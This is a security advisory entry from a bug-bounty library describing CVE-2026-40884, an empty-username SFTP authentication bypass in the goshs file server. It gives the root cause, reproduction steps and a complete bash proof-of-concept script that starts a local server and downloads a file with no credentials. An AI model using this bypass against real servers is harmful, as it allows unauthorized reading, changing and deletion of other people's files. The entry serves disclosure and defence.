# goshs has an empty-username SFTP password authentication bypass

goshs SFTP installs no password handler when started with documented empty-username syntax `-b ':pass'`, letting unauthenticated attackers read/write/delete files in the SFTP root.

- Payout: Research
- Severity: critical
- Program: goshs
- Found by: R1ZZG0D
- Disclosed: 2026-04-14
- CVE: CVE-2026-40884
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c29w-qq4m-2gcv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c29w-qq4m-2gcv
- Tags: area:devices domain:network impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** SFTP service of goshs file server
**Root cause:** Option parsing splits `-b ':pass'` into empty username and non-empty password, but the SFTP server only installs a PasswordHandler when both username and password are non-empty, so no authentication is enforced.
**Steps:**
1. Start server: `/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'`
2. Connect with no key/password: `sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1`
3. Run `get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt` then `bye`
4. `cat /tmp/authless_sftp.txt` prints `root file` — no password prompt occurred
**How found:** Reporter read the documented empty-username auth syntax in options help text, then traced the sanity check, the `strings.SplitN` parsing, and the SFTP PasswordHandler install condition (`s.Username != "" && s.Password != ""`), spotting the mismatch and confirming with a manual SFTP session.
**Exploitation:** Any network attacker connecting to the exposed SFTP port when the operator used `-b ':pass'` gets an authenticated session without credentials, enabling read, upload, rename and delete within the SFTP root subject to filesystem permissions.
**Insight:** When a documented config value (empty username) is legal at parse time, grep every downstream consumer for guards that assume non-empty fields — auth handlers gated on `field != ""` silently disable enforcement.

## Proof of concept (copied exactly from the original report)

**SFTP client downloads file without credentials**

```
printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1

cat /tmp/authless_sftp.txt
```

**Server started with empty-user auth syntax**

```
/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'
```

**Single-script PoC verifying unauthenticated access**

```
#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
BIN='/tmp/goshs_beta5_sftp_empty_user'
ROOT='/tmp/goshs_authless_root'
DOWNLOAD='/tmp/authless_sftp.txt'
HTTP_PORT='18102'
SFTP_PORT='2223'
SERVER_PID=""

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "${SERVER_PID}" >/dev/null 2>&1 || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

echo '[1/5] Building goshs beta.5'
cd "${REPO}"
go build -o "${BIN}" ./

echo '[2/5] Preparing test root'
rm -rf "${ROOT}" "${DOWNLOAD}"
mkdir -p "${ROOT}"
printf 'root file\n' > "${ROOT}/test.txt"

echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}"
"${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \
  >/tmp/gosh_poc2.log 2>&1 &
SERVER_PID=$!

for _ in $(seq 1 40); do
  if python3 - <<PY
import socket
s = socket.socket()
try:
    s.connect(("127.0.0.1", ${SFTP_PORT}))
    raise SystemExit(0)
except OSError:
    raise SystemExit(1)
finally:
    s.close()
PY
  then
    break
  fi
  sleep 0.25
done

echo '[4/5] Connecting without password or key'
printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \
  sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - foo@127.0.0.1

echo '[5/5] Verifying unauthenticated file access'
echo "Downloaded content: $(cat "${DOWNLOAD}")"

if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then
  echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi
```